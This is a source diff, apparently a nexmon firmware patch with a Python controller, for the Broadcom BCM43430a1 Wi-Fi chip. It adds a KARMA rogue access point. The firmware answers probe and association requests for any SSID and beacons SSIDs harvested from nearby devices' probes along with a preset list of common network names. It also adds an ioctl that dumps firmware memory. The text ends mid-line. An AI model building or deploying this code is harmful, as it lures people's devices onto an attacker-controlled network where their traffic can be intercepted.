+ print "KARMA ASSOCS - Answer association requests for foreign SSIDs [{0}]".format("On" if mame82_config.karma_assocs else "Off") + print "KARMA SSIDs - Broadcast beacons for foreigin SSIDs after probe request [{0}]".format("On" if mame82_config.karma_beacons else "Off") + print "CUSTOM SSIDs - Broadcast beacons for custom SSIDs (added by user) [{0}]".format("On" if mame82_config.custom_beacons else "Off") + print "(unused for now) Print debug messages to BCM43430a1 internal console [{0}]".format("On" if mame82_config.debug_out else "Off") + + print "\nStop sending more beacons for KARMA SSIDs if no association request is received\nafter [{0}] beacons (0 send forever)".format(mame82_config.karma_beacon_autoremove) + print "\nStop sending more beacons for CUSTOM SSIDs if no association request is received\nafter [{0}] beacons (0 send forever)".format(mame82_config.custom_beacon_autoremove) + + print "\nMaximum allowed KARMA SSIDs for beaconing (no influence on assocs / probes): [{0}]".format(mame82_config.max_karma_beacon_ssids) + print "Maximum allowed CUSTOM SSIDs: [{0}]".format(mame82_config.max_custom_beacon_ssids) + + print "" + + if cast(mame82_config.ssids_karma, c_void_p).value != None: + print "Beaconed SSIDs from probes (KARMA SSIDs), right now:\n{0}".format(MaMe82_IO.ssid_list2str(mame82_config.ssids_karma)) + + print "" + + if cast(mame82_config.ssids_karma, c_void_p).value != None: + print "Beaconed SSIDs defined by user, right now:\n{0}".format(MaMe82_IO.ssid_list2str(mame82_config.ssids_custom)) + + # fetch structs for SSID list + return mame82_config + + @staticmethod + def ssid_list2str(head): + ssids = [] + cur = head.contents + while cast(cur.next, c_void_p).value != None: + cur = cur.next.contents + str_ssid = "".join(chr(c) for c in cur.ssid[0:cur.len_ssid]) + ssids.append(str_ssid) + return ssids + + @staticmethod + def dump_mem(dump_addr, dump_len, print_res=True): + # valid 0x80 - 0x07ffff + # valid 0x800000 - 0x89ffff + if dump_len < 16: + printf("Minimum length for dumping is 16 bytes") + return "" + ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III{0}s".format(dump_len - 16), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_GET_MEM, 4, dump_addr, ""), False) + res = nexconf.sendNL_IOCTL(ioctl) + if print_res: + print MaMe82_IO.s2hex(res) + return res + + @classmethod + def dump_ssid_list_entry(cls, address): + headdata = cls.dump_mem(address, sizeof(struct_ssid_list), print_res=False) + head = struct_ssid_list() + memmove(addressof(head), headdata, len(headdata)) + return head + + @classmethod + def dump_ssid_list(cls, address): + cur = cls.dump_ssid_list_entry(address) + head = cur + p_next = cast(cur.next, c_void_p) + while p_next.value != None: + #print "p_next {0}".format(hex(p_next.value)) + next_entry = cls.dump_ssid_list_entry(p_next.value) + cur.next = pointer(next_entry) # replace pointer to next element with a one valid in py + cur = cur.next.contents # advance cur to next element (dreferenced) + p_next = cast(cur.next, c_void_p) # update pointer to next and cast to void* + + # return pointer to head element + return pointer(head) + + @classmethod + def set_defaults(cls): + cls.add_custom_ssid("linksys") + cls.add_custom_ssid("NETGEAR") + cls.add_custom_ssid("dlink") + cls.add_custom_ssid("AndroidAP") + cls.add_custom_ssid("default") + cls.add_custom_ssid("cablewifi") + cls.add_custom_ssid("asus") + cls.add_custom_ssid("Guest") + cls.add_custom_ssid("Telekom") + cls.add_custom_ssid("xerox") + cls.add_custom_ssid("tmobile") + cls.add_custom_ssid("Telekom_FON") + cls.add_custom_ssid("freifunk") + + cls.set_enable_karma(True) # send probe responses and association responses for foreign SSIDs + + cls.set_enable_karma_beaconing(False) # send beacons for SSIDs seen in probe requests (we better don't enable this by default) + cls.set_autoremove_karma_ssids(600) # remove SSIDs from karma beaconing, which didn't received an assoc request after 600 beacons (1 minute) + + cls.set_enable_custom_beaconing(True) # send beacons for the custom SSIDs set with 'add_custom_ssid' + cls.set_autoremove_custom_ssids(0) # never remove custom SSIDs from beaconing list, if they didn't receive an assoc request + + #cls.dump_conf(print_res=True) + + +def ioctl_get_test(): + ### Send ioctl comand via netlink: test of GET (cmd 262, value 'bsscfg:ssid' in a buffer large enough to receive the response) ###### + + # test to read a IO var for bsscfg:ssid (resp buffer: 4 bytes for uint32 ssid_len, 32 bytes for max len SSID) + # Note: + # The payload buffer size for send and recv are te same (36 in this test case), although the payload sent + # has only 11 bytes ("bsscfg:ssid") which are used. This has no impact for parsing the request for SSID on + # driver/firmware end. This means: We are free to choose the response buffer size, by adjusting the request buffer size. + # In case of the SSID request, the buffer is only partially overwritten with the response (for SSID 'test' only the first 8 bytes). + # The rest of the buffer isn't cleared to 0x00, but the response is prepended with an uint32 length field, which could be used + # to scrape out the relevant part of the response string. + # As I haven't dived into the inner workings of NETLINK, I haven't tested for responses which don't fit in a single message, + # but it is likely that those responses are fragmented over multiple NL messages and the nlmsg_seq header field is used to + # distinguish them. Anyway, this code DOESN'T ACCOUNT FOR THIS AND DOESN'T RECEIVE FRAGMENTED RESPONSES. NOR DOES THIS CODE ACCOUNT + # FOR MAXIMUM MESSAGE SIZE WHEN IT COMES TO SENDING (USING BUFFER WHICH ARE TOO LARGE). + # So this is considered experimental, the correct tool to use is nexutil written by the creators of nexmon ;-) + + ioctl_readvar_ssid = nexconf.create_cmd_ioctl(262, struct.pack("36s", "bsscfg:ssid"), False) + res = nexconf.sendNL_IOCTL(ioctl_readvar_ssid) + + # clamp result string + res_len = struct.unpack("I", res[:4])[0] + res_str = res[4:4+res_len] + print res_str + + + +# As soon as an AP is running with hostapd (and backed by the customized nexmon firmware) +# the IOCTL to set up karma could be received. +# +# The hardcoded example commands below bring up a KARMA hotspot (responds to every probe/association +# request which the STA wants to see), with 13 additional SSIDs and BEACONING enabled for probed SSIDs +# Additionally the autoremove feature is enabled, for SSIDs not receiving an assoc request in timely +# manner. +# +# Each of this commands could be use to interactively manipulate the firmware from a python console. +# +# Example to disable KARMA: +# -------------------------------- +# >>> from mame82_util import * +# >>> MaMe82_IO.set_enable_karma(False) +# Sending NL IOCTL +# cmd: 666 +# set_enabled: True +# payload: '\x03\x00\x00\x00\x01\x00\x00\x00\x00' +# +# +# Example to enable KARMA + Beaconing for SSIDs from probe requests: +# ------------------------------------------------------------------ +# >>> from mame82_util import * +# >>> MaMe82_IO.set_enable_karma(True) +# Sending NL IOCTL +# cmd: 666 +# set_enabled: True +# payload: '\x03\x00\x00\x00\x01\x00\x00\x00\x01' +# >>> MaMe82_IO.set_enable_karma_beaconing(True) +# Sending NL IOCTL +# cmd: 666 +# set_enabled: True +# payload: '\x04\x00\x00\x00\x01\x00\x00\x00\x01' +# +# + + +### Example configuration for MaMe82 KARMA nexmon firmware mod ### +#MaMe82_IO.set_defaults() diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/src/autostart.c b/patches/bcm43430a1/7_45_41_46/nexmon/src/autostart.c index 384341885..9b5869709 100644 --- a/patches/bcm43430a1/7_45_41_46/nexmon/src/autostart.c +++ b/patches/bcm43430a1/7_45_41_46/nexmon/src/autostart.c @@ -39,11 +39,70 @@ #include // structures that are used by the code in the firmware #include // useful helper functions #include // macros used to craete patches such as BLPatch, BPatch, ... +#include "karma.h" + + +mame82_config_t *g_mame82_conf = NULL; void autostart(void) { printf("autostart\n"); + + + g_mame82_conf = (mame82_config_t *) malloc(sizeof(mame82_config_t), 4); + memset(g_mame82_conf, 0, sizeof(mame82_config_t)); + g_mame82_conf->ssids_custom = (ssid_list_t*) malloc(sizeof(ssid_list_t), 4); + g_mame82_conf->ssids_karma = (ssid_list_t*) malloc(sizeof(ssid_list_t), 4); + + /* Disable all KARMA related stuff by default, to avoid changing legacy nexmon default behavior */ + + //startup (default) config + g_mame82_conf->karma_probes = 0; + g_mame82_conf->karma_assocs = 0; + g_mame82_conf->debug_out = 0; + g_mame82_conf->karma_beacons = 0; + g_mame82_conf->custom_beacons = 0; + g_mame82_conf->custom_beacon_autoremove = 0; //never remove custom SSIDs after if they don't receive an assoc req + g_mame82_conf->karma_beacon_autoremove = 600; //remove SSIDs extracted from received probe requests after sending 600 beacons (1 minute) without receiving an assoc req + + /* + * There're two lists of SSIDs for which beacons are sent: + * 1) The one for spotted SSIDs from probe requests, for which in addition to the according probe responses (karma_probes = 1) + * beacons could be send (karma_beacons = 1). This would allow to spawn potetial known APs to stations, which have been probed + * for by other stations, which are more chatty. This list could be fast growing, depending on the probing devices around + * 2) The list for custom SSIDs which have been added manually by the user (they are send if custom_beacons = 1 is set). + * + * The current implementations is able to send one beacon on every 2s, which makes a rough maximum of 50 per beacon interval + * (which is about 100ms per default). The more traffic is on the channel, the more retransmissions are needed for management frames + * (including probe responses and beacons), which puts another limit on the maximum SSIDs which could be beaconed. + * For this reasons, the overall count of the SSIDs has been limited to 40, which splits into 20 for custom_beacon_ssids and + * 20 for karma_beacon_ssids. So it is not adviced to change these limits. + * + * When the limits are reached, it isn't possible to add more SSID. The SSID lists could be cleared manually (via ioctl from + * the additional python utility) or auto-removeed. Auto-remove deletes SSIDs for which no association has taken place in a + * predefined period. This period is measured in beacons which have been sent, without an association. With the beacon interval + * of 100ms, about 10 beacons are sent per second. + * If for example 'karma_beacon_autoremove' is set to 600, every SSID which hasn't seen an association after 60 seconds is removed - + * where SSIDs are added to this list in case a probe request was spotted (at least, if karma_beacons = 1). + * custom_beacon_autoremove has the same meaning, but targets SSIDs which have been added manually by the user. + * If custom_beacon_autoremove or karma_beacon_autoremove are set to 0, the beacons are never removed from the list. + * + */ + g_mame82_conf->max_custom_beacon_ssids = 20; + g_mame82_conf->max_karma_beacon_ssids = 20; + +/* + cur_ssid_ptr = custom_ssids; + while (*cur_ssid_ptr) + { + append_ssid(g_mame82_conf->ssids_custom, *cur_ssid_ptr, strlen(*cur_ssid_ptr)); + cur_ssid_ptr++; + } + + access_test = get_ssid_entry(g_mame82_conf->ssids_custom, "tmobile", 7); + if (access_test) printf("SSID found '%s'\n", access_test->ssid); +*/ } __attribute__((at(0x2a94, "", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46))) diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/src/ioctl.c b/patches/bcm43430a1/7_45_41_46/nexmon/src/ioctl.c index 8fdc8d273..b79968333 100644 --- a/patches/bcm43430a1/7_45_41_46/nexmon/src/ioctl.c +++ b/patches/bcm43430a1/7_45_41_46/nexmon/src/ioctl.c @@ -45,15 +45,27 @@ #include // capabilities included in a nexmon patch #include // sendframe functionality #include +#include "karma.h" + +uint32 mame82_opts = 0; + +extern mame82_config_t *g_mame82_conf; + int wlc_ioctl_hook(struct wlc_info *wlc, int cmd, char *arg, int len, void *wlc_if) { + mame82_ioctl_arg_t *mame82_arg = NULL; + void *dump_addr = NULL; + argprintf_init(arg, len); int ret = IOCTL_ERROR; - switch (cmd) { - case NEX_GET_CAPABILITIES: + //printf("received ioctl cmd %d with arg %s\n", cmd, arg); + + switch (cmd) + { + case NEX_GET_CAPABILITIES: //400 if (len == 4) { memcpy(arg, &capabilities, 4); ret = IOCTL_SUCCESS; @@ -72,18 +84,119 @@ wlc_ioctl_hook(struct wlc_info *wlc, int cmd, char *arg, int len, void *wlc_if) { struct wlc_if *wlcif = wlc->wlcif_list; - for (wlcif = wlc->wlcif_list; wlcif != 0; wlcif = wlcif->next) { + for (wlcif = wlc->wlcif_list; wlcif != 0; wlcif = wlcif->next) + { char ifname[32]; strncpy(ifname, wlcif->wlif == 0 ? wlc->wl->dev->name : wlcif->wlif->dev->name, sizeof(ifname)); ifname[sizeof(ifname) - 1] = '\0'; argprintf(" \"%s\" 0x%p type=%02x index=%02x flags=%02x\n", ifname, wlcif, wlcif->type, wlcif->index, wlcif->flags); - } + } ret = IOCTL_SUCCESS; } break; + case 666: + printf("666 (MaMe82) called, arg %x\n", *arg); + + mame82_arg = (mame82_ioctl_arg_t *) arg; + uint32 tmp = 0; + + switch(mame82_arg->type) + { + case MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE: + printf("Enable KARMA probe: %d\n", *mame82_arg->val); + g_mame82_conf->karma_probes = *mame82_arg->val; + break; + case MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC: + printf("Enable KARMA assoc: %d\n", *mame82_arg->val); + g_mame82_conf->karma_assocs = *mame82_arg->val; + break; + case MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON: + printf("Enable KARMA beaconing: %d\n", *mame82_arg->val); + g_mame82_conf->karma_beacons = *mame82_arg->val; + + //clear SSID list (filled from probes) in case KARMA beaconing gets disabled + if (!(*mame82_arg->val)) clear_ssids(g_mame82_conf->ssids_karma); + break; + case MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS: + printf("Enable custom beaconing: %d\n", *mame82_arg->val); + g_mame82_conf->custom_beacons = *mame82_arg->val; + break; + case MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA: + printf("Enable KARMA (probe and assoc responses): %d\n", *mame82_arg->val); + g_mame82_conf->karma_probes = *mame82_arg->val; + g_mame82_conf->karma_assocs = *mame82_arg->val; + + //If Karma gets disabled, we clear the list of SSIDs which have been spotted from "old" probe requests + if (!(*mame82_arg->val)) clear_ssids(g_mame82_conf->ssids_karma); + break; + case MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID: + printf("Add custom SSID len %d: %s\n", mame82_arg->len, mame82_arg->val); + append_ssid(g_mame82_conf->ssids_custom, (char*) mame82_arg->val, MIN(mame82_arg->len, 32), g_mame82_conf->max_custom_beacon_ssids); + break; + case MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID: + printf("Add custom SSID len %d: %s\n", mame82_arg->len, mame82_arg->val); + remove_entries_with_ssid(g_mame82_conf->ssids_custom, (char*) mame82_arg->val, MIN(mame82_arg->len, 32)); + break; + case MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS: + printf("Clear custom SSIDs\n"); + clear_ssids(g_mame82_conf->ssids_custom); + break; + case MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS: + printf("Clear karma SSIDs\n"); + clear_ssids(g_mame82_conf->ssids_karma); + break; + case MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT: + memcpy(&tmp, mame82_arg->val, mame82_arg->len); + g_mame82_conf->custom_beacon_autoremove = tmp; + printf("Send a maximum of %d custom beacons without association request per SSID\n", g_mame82_conf->custom_beacon_autoremove); + break; + case MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT: + memcpy(&tmp, mame82_arg->val, mame82_arg->len); + g_mame82_conf->karma_beacon_autoremove = tmp; + printf("Send a maximum of %d karma beacons without association request per SSID\n", g_mame82_conf->karma_beacon_autoremove); + break; + case MAME82_IOCTL_ARG_TYPE_GET_CONFIG: + //assure buffer is large enough + if (len < sizeof(mame82_config_t)) + { + printf("Tried to read mame82_config in buf of size %d, but %d needed\n", len, sizeof(mame82_config_t)); + return IOCTL_ERROR; + } + else printf("Dumping %d bytes of mame82_config to buf of size %d\n", sizeof(mame82_config_t), len); + //cp back config struct (leaking list pointers ;-)) + memcpy(arg, g_mame82_conf, sizeof(mame82_config_t)); + break; + case MAME82_IOCTL_ARG_TYPE_GET_MEM: + //dump as many bytes as the buffer can hold of the address given as argument + memcpy(&tmp, mame82_arg->val, mame82_arg->len); + + + dump_addr = (void*) tmp; + printf("Dumping %d bytes from %x\n", len, dump_addr); + //Assure we're not dumping from regions causing a crash + //valid 0x80 - 0x07ffff + //valid 0x800000 - 0x89ffff + if (!( + ((0x80 <= tmp) && (tmp < 0x080000) && (0x80 <= (tmp+len)) && ((tmp+len) < 0x080000)) || + ((0x800000 <= tmp) && (tmp < 0x8A0000) && (0x800000 <= (tmp+len)) && ((tmp+len) < 0x8A0000)) + )) + { + printf("Couldn't dump from this region, valid are [0x80 to 0x080000] and [0x800000 to 0x8A0000]\n"); + return IOCTL_ERROR; + } + + memmove(arg, dump_addr, len); + break; + default: + printf("Unknown command type %d, len %d, val %d\n", mame82_arg->type, mame82_arg->len, mame82_arg->val); + } + + + ret = IOCTL_SUCCESS; + break; default: ret = wlc_ioctl(wlc, cmd, arg, len, wlc_if); diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.c b/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.c new file mode 100644 index 000000000..a13ca8ad2 --- /dev/null +++ b/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.c @@ -0,0 +1,795 @@ +#pragma NEXMON targetregion "patch" + +#include +#include // wrapper definitions for functions that already exist in the firmware +#include // structures that are used by the code in the firmware +#include +#include +#include "karma.h" +#include "sendframe.h" + +#define print_dbg(...) if(g_mame82_conf->debug_out) printf(__VA_ARGS__) +#define print_ndbg(...) if(!g_mame82_conf->debug_out) printf(__VA_ARGS__) + + +extern mame82_config_t *g_mame82_conf; + + +wlc_bsscfg_t *g_AP_bsscfg = NULL; +beacon_fixed_params_t *g_beacon_template_head = NULL; +uint8 *g_beacon_template_tail = NULL; +uint g_beacon_template_tail_len = 0; + +struct hndrte_timer *g_bcn_tmr = NULL; + +void send_beacons(struct wlc_info *wlc, wlc_bsscfg_t *bsscfg, beacon_fixed_params_t *beacon_template_head, uint8 *beacon_template_tail, uint beacon_template_tail_len, ssid_list_t *ssids); + + +/** Timer based beaconing **/ +void bcn_tmr_hndl(struct hndrte_timer *t) +{ + if (g_mame82_conf->karma_beacons) + send_beacons(t->data, g_AP_bsscfg, g_beacon_template_head, g_beacon_template_tail, g_beacon_template_tail_len, g_mame82_conf->ssids_karma); + + if (g_mame82_conf->custom_beacons) + send_beacons(t->data, g_AP_bsscfg, g_beacon_template_head, g_beacon_template_tail, g_beacon_template_tail_len, g_mame82_conf->ssids_custom); + + //Autoremove SSIDs which haven't seen an assoc request after 3000 beacons (roughly 5 minutes) + //------------------------------------------------------------------------------------------- + + //custom SSIDs which have been beaconed, because they have been manually added, but didn't receive an assoc request + if (g_mame82_conf->custom_beacon_autoremove) //if 0, none gets removed + remove_entries_without_assoc_after_beacons(g_mame82_conf->ssids_custom, g_mame82_conf->custom_beacon_autoremove); + + //karma SSIDs which have been beaconed after a spotted probed, but never received an association (f.e. if a WPA2 AP was probed, but an open AP advertised) + // Note: if a probed SSID gets deleted, it is added back in as soon as a new probe is spotted + if (g_mame82_conf->karma_beacon_autoremove) //if 0, none gets removed (not recommended, list fills too fast) + remove_entries_without_assoc_after_beacons(g_mame82_conf->ssids_karma, g_mame82_conf->karma_beacon_autoremove); + +} + +/** end Timer based beaconing **/ + + +//check if an SSID is worth adding to an existing SSID list +int validate_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len) +{ + char *cur_ssid; + uint8 cur_ssid_len; + int i, j, match; + + if (ssid_len == 0) return 0; // we don't add empty SSIDs to the list + + // Went through list + ssid_list_t *current = head; + i = -1; //used for loop count and increased at loop entry (to avoid inc in branches), thus -1 + while (current->next != NULL) + { + i++; + current = current->next; + cur_ssid_len = current->len_ssid; + cur_ssid = current->ssid; + + //printf("Checking %s against list pos %d (%s)\n", ssid, i, cur_ssid); + + // if length doesn't equal, we check next + if (cur_ssid_len != ssid_len) continue; + + //if length equals, we check char by char + match = 1; + for (j = 0; j < MIN(ssid_len, MIN(cur_ssid_len, 32)); j++) + { + if (cur_ssid[j] != ssid[j]) + { + match = 0; + break; // we don't have to check further + } + } + + if (match) + { + //printf("The SSID %s is already in the list at pos %d\n", ssid, i); + return 0; + } + } + + return 1; +} + +//get pointer to the given SSID from given list +ssid_list_t* get_ssid_entry(ssid_list_t *head, char* ssid, uint8 ssid_len) +{ + char *cur_ssid; + uint8 cur_ssid_len; + int i, j, match; + + if (ssid_len == 0) return NULL; // list shouldn't contain empty SSIDs + + // Went through list + ssid_list_t *current = head; + i = -1; //used for loop count and increased at loop entry (to avoid inc in branches), thus -1 + while (current->next != NULL) + { + i++; + current = current->next; + cur_ssid_len = current->len_ssid; + cur_ssid = current->ssid; + + //printf("Checking %s against list pos %d (%s)\n", ssid, i, cur_ssid); + + // if length doesn't equal, we check next + if (cur_ssid_len != ssid_len) continue; + + //if length equals, we check char by char + match = 1; + for (j = 0; j < MIN(ssid_len, MIN(cur_ssid_len, 32)); j++) + { + if (cur_ssid[j] != ssid[j]) + { + match = 0; + break; // we don't have to check further + } + } + + if (match) + { + return current; + } + } + + return NULL; +} + +//Removes every SSID entry from the list, which hasn't seen an assoc request after beacon_limit beacons have been send already +void remove_entries_without_assoc_after_beacons(ssid_list_t *head, uint beacon_limit) +{ + // Went through list + ssid_list_t *current = head; + ssid_list_t *remove; + + while (current->next != NULL) + { + //check if assoc requests for next entry are at 0 and beacon count limit is reached + if ((!current->next->assoc_req) & (current->next->bcn_snd >= beacon_limit)) + { + //adjust pointer to next + remove = current->next; + current->next = remove->next; + + printf("Removed SSID '%s' from beaconing list, because there was no assoc request after %d beacons have been tx\n", remove->ssid, beacon_limit); + + free(remove); + } + + current = current->next; + if (current == NULL) break;//last element removed, abort loop + } +} + +void clear_ssids(ssid_list_t *head) +{ + ssid_list_t *cur; + ssid_list_t *next; + + cur = head->next; + while (cur != NULL) + { + next = cur->next; + free(cur); + printf("Removed SSID '%s' from beaconing list\n", cur->ssid); + cur = next; + } + head->next = NULL; +} + +//Removes every SSID entry from the list, which hasn't seen an assoc request after beacon_limit beacons have been send already +void remove_entries_with_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len) +{ + // Went through list + ssid_list_t *current = head; + ssid_list_t *remove; + uint8 match = 0; + int j; + + while (current->next != NULL) + { + //check if ssid is the same + + // if length doesn't equal, we check next + if (current->next->len_ssid != ssid_len) continue; + + //if length equals, we check char by char + match = 1; + + for (j = 0; j < MIN(ssid_len, MIN(current->next->len_ssid, 32)); j++) + { + if (current->next->ssid[j] != ssid[j]) + { + match = 0; + break; // we don't have to check further + } + } + + if (match == 1) + { + //adjust pointer to next + remove = current->next; + current->next = remove->next; + + printf("Removed SSID '%s' from beaconing list\n", remove->ssid); + + free(remove); + } + + current = current->next; + if (current == NULL) break;//last element removed, abort loop + } +} + + +ssid_list_t* append_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len, uint8 upper_bound) +{ + //This method doesn't account for duplicates + + int i = 0; + + ssid_list_t *current = head; + while (current->next != NULL) + { + current = current->next; + i++; + } + + if (i >= upper_bound) + { + printf("Not adding SSID %s because list contains max elements %d\n", ssid, i); + return NULL; //abort appending to list + } + + current->next = (ssid_list_t*) malloc(sizeof(ssid_list_t), 4); + + if (current->next == NULL) + { + printf("Malloc error, not able to add SSID %s to list at pos %d\n", ssid, i); + return NULL; + } + else + { + printf("Added SSID %s at list pos %d\n", ssid, i); + } + memset(current->next, 0, sizeof(ssid_list_t)); + current->next->len_ssid = ssid_len; + memset(current->next->ssid, 0, 32); + memcpy(current->next->ssid, ssid, ssid_len); + current->next->next = NULL; + return current->next; +} + + +void print_mac(struct ether_addr addr) +{ + printf("%x:%x:%x:%x:%x:%x", + addr.octet[0], + addr.octet[1], + addr.octet[2], + addr.octet[3], + addr.octet[4], + addr.octet[5] + ); +} + +void print_mem(void* p, uint32 len) +{ + uint32 i; + printf("HEXDUMP:\n"); + //for(i = 0; i < len; i++) printf("%d:%02x ", i, ((char*) p)[i]); + for(i = 0; i < len; i++) printf("%02x ", ((char*) p)[i]); + printf("\n"); +} + +void print_bsscfg(wlc_bsscfg_t *bsscfg) +{ + printf("BSSCFG addr %x, points to wlc at %x \n", bsscfg, bsscfg->wlc); + printf(" up %d, enable %d, _ap %d, _psta %d, associated %d, ssid %s valid AP %d\n", bsscfg->up, bsscfg->enable, bsscfg->_ap, bsscfg->_psta, bsscfg->associated, bsscfg->SSID, BSSCFG_AP_ENABLED(bsscfg)); +} + +void sscfg_iter_test(struct wlc_info *wlc) +{ + int i; + wlc_bsscfg_t *bsscfg; + + FOREACH_BSS(wlc, i, bsscfg) + { + printf("BSSCFG at index[%d] addr %x, points to wlc at %x (real addr %x)\n", i, bsscfg, bsscfg->wlc, wlc); + printf(" up %d, enable %d, _ap %d, _psta %d, associated %d, ssid %s valid AP %d\n", bsscfg->up, bsscfg->enable, bsscfg->_ap, bsscfg->_psta, bsscfg->associated, bsscfg->SSID, BSSCFG_AP_ENABLED(bsscfg)); + } +} + + +//Not really a hook, as the legacy method has no implementation (this is why we don't call back to the umodified method) +void wlc_recv_process_prbreq_hook(struct wlc_info *wlc, void *wrxh, uint8 *plcp, struct dot11_management_header *hdr, uint8 *body, int body_len) +{ + /* ToDo: + - check if used bsscfg is in AP mode before sending probe responses (struct wlc_bsscfg field _ap has to be validated first) + - don't send responses for PROBES to empty SSID (len == 0) Note: According to the hint from @Singe broadcast probes should be answered for iPhones + - don't send PROBE RESPONSES for own SSID (this is already done by the PRQ Fifo) + - optionally send BEACONS for seen PROBE REQUESTS as broadcast (like KARMA LOUD to open new networks to possible STAs) + - handle Association (incoming SSID has to be exchanged or bsscfg altered once more) - NOte AUTH is working as there's no SSID involved + */ + + + uint8 *SSID_PRQ[32]; //ssid of received probe request + uint8 *SSID_BSS[32]; //ssid of bsscfg used + uint8 SSID_PRQ_LEN, SSID_BSS_LEN; + + //uint32 *ui_debug = (uint32*) &(wlc->eventq); + + wlc_bsscfg_t *cfg; + bcm_tlv_t *ssid; + + int len; //stores beacon template length + + + //early out if KARMA probe responding disabled + if (!g_mame82_conf->karma_probes) return; + + + if ((ssid = bcm_parse_tlvs(body, body_len, DOT11_MNG_SSID_ID)) != NULL) + { + void *p; + uint8 *pbody; + + + //store recieved SSID + memset(SSID_PRQ, 0, 32); + memcpy(SSID_PRQ, ssid->data, ssid->len); + SSID_PRQ_LEN = (*ssid).len; + + print_dbg("Probe Request received for SSID %s\n", SSID_PRQ); + + //Use current address as BSSID when searching for BSSCFG + cfg = wlc_bsscfg_find_by_bssid(wlc, &wlc->pub->cur_etheraddr); + + if (cfg == NULL) + { + print_dbg("Invalid bsscfg %p, aborting...", cfg); + return; + } + else print_dbg("Using bsscfg at: %p\n", cfg); //Structs have to be update to fetch index of bsscfg + wlc_if + (bool) _ap + + + //backup original SSID + memcpy(SSID_BSS, cfg->SSID, 32); //Padding 0x00 bytes are already included + SSID_BSS_LEN = (*cfg).SSID_len; + + print_dbg("PRQ SSID %s (%d), BSS SSID %s (%d)\n", SSID_PRQ, SSID_PRQ_LEN, SSID_BSS, SSID_BSS_LEN); + + len = wlc->pub->bcn_tmpl_len; //should be 512 + print_dbg("bcn_tmpl_len %d\n", len); + + /* build pkt buf with 802.11 MGMT frame HDR, based on current ethernet address (for SA/BSSID) and PRQ SA as DA*/ + //p = wlc_frame_get_mgmt(wlc, FC_PROBE_RESP, &hdr->sa, &bsscfg->cur_etheraddr, &bsscfg->BSSID, len, &pbody) + p = wlc_frame_get_mgmt(wlc, FC_PROBE_RESP, &hdr->sa, &wlc->pub->cur_etheraddr, &wlc->pub->cur_etheraddr, len, &pbody); + + + + if (p == NULL) + { + printf("PROBE_RESP_GEN: wlc_frame_get_mgmt failed\n"); + } + else + { + /* + * The frame body (payload with IEs including SSID) is build based on the given bsscfg. + * This means the resulting PROBERESP wouldn't contain the SSID of the PROBEREQUEST, but + * the one of the sscfg in use. + * To overcome this, the're two ways: + * 1) Generate the PRBRESP with wlc_bcn_prb_body and modify the packet afterwards + * (complicated as SSID IE len would likely change) + * + * 2) Temp. change the SSID of the current bsscfg to match the PROBE REQUEST + * befor calling wlc_bcn_prb_body. (Easy, but dirty ... anyway, preferred solution) + */ + + + //Exchange SSID of bsscfg + memcpy(cfg->SSID, SSID_PRQ, 32); + cfg->SSID_len = SSID_PRQ_LEN; + + //generate frame body + wlc_bcn_prb_body(wlc, FC_PROBE_RESP, cfg, pbody, &len, FALSE); + + //Restore SSID of bsscfg + memcpy(cfg->SSID, SSID_BSS, 32); + cfg->SSID_len = SSID_BSS_LEN; + + //set PKT len + ((sk_buff*) p)->len = len + DOT11_MGMT_HDR_LEN; + + print_dbg("PRBRES len %d\nSending Probe Response for %s..\n", ((sk_buff*) p)->len, SSID_PRQ); +// print_mem(((sk_buff*) p)->data, 60); + + + wlc_sendmgmt(wlc, p, wlc->wlcif_list->qi, NULL); + //sendframe(wlc, p, 1, 0); //sends the packets without crashing for new sk_buff allocs by wlc_frame_get_mgmt + + + + //If beaconing enabled, add to SSID list + if (g_mame82_conf->karma_beacons) + { + if (validate_ssid(g_mame82_conf->ssids_karma, (char*) SSID_PRQ, SSID_PRQ_LEN)) + { + append_ssid(g_mame82_conf->ssids_karma, (char*) SSID_PRQ, SSID_PRQ_LEN, g_mame82_conf->max_karma_beacon_ssids); + } + else print_dbg("SSID '%s' already present or empty, not added to beaconing list\n"); + } + + + //print_mem(pbody, 80); + } + + } //end of if SSID +} + +void wlc_recv_mgmt_ctl_hook(struct wlc_info *wlc, void *osh, void *wrxh, void *p) +{ + /* + * This hook does nothing but printing debug output for MGMT / CONTROL frames + */ + + struct ether_addr cur_addr = wlc->pub->cur_etheraddr; + uint8 *plcp; + struct dot11_management_header *hdr; + uint16 fc, ft, fk; + char eabuf[ETHER_ADDR_STR_LEN]; + + if (g_mame82_conf->debug_out) + { + + if (g_mame82_conf->karma_probes) printf("Karma probe responding enabled\n"); + else printf("Karma probe responding disabled\n"); + if (g_mame82_conf->karma_assocs) printf("Karma assoc responding enabled\n"); + else printf("Karma assoc responding disabled\n"); + if (g_mame82_conf->karma_beacons) printf("Karma beaconing enabled\n"); + else printf("Karma beaconing disabled\n"); + } + else + { + //early out if DEBUG output is off, as this hook does nothing else right now + wlc_recv_mgmt_ctl(wlc, osh, wrxh, p); + return; + } + + plcp = PKTDATA(osh, p); //fetch packet + + hdr = (struct dot11_management_header*)(plcp + D11_PHY_HDR_LEN); //offset behind D11 header and cast to 802.11 header struct + + fc = ltoh16(hdr->fc); //Account for endianess of frames FC field + ft = FC_TYPE(fc); //Frame Type (MGMT / CTL / 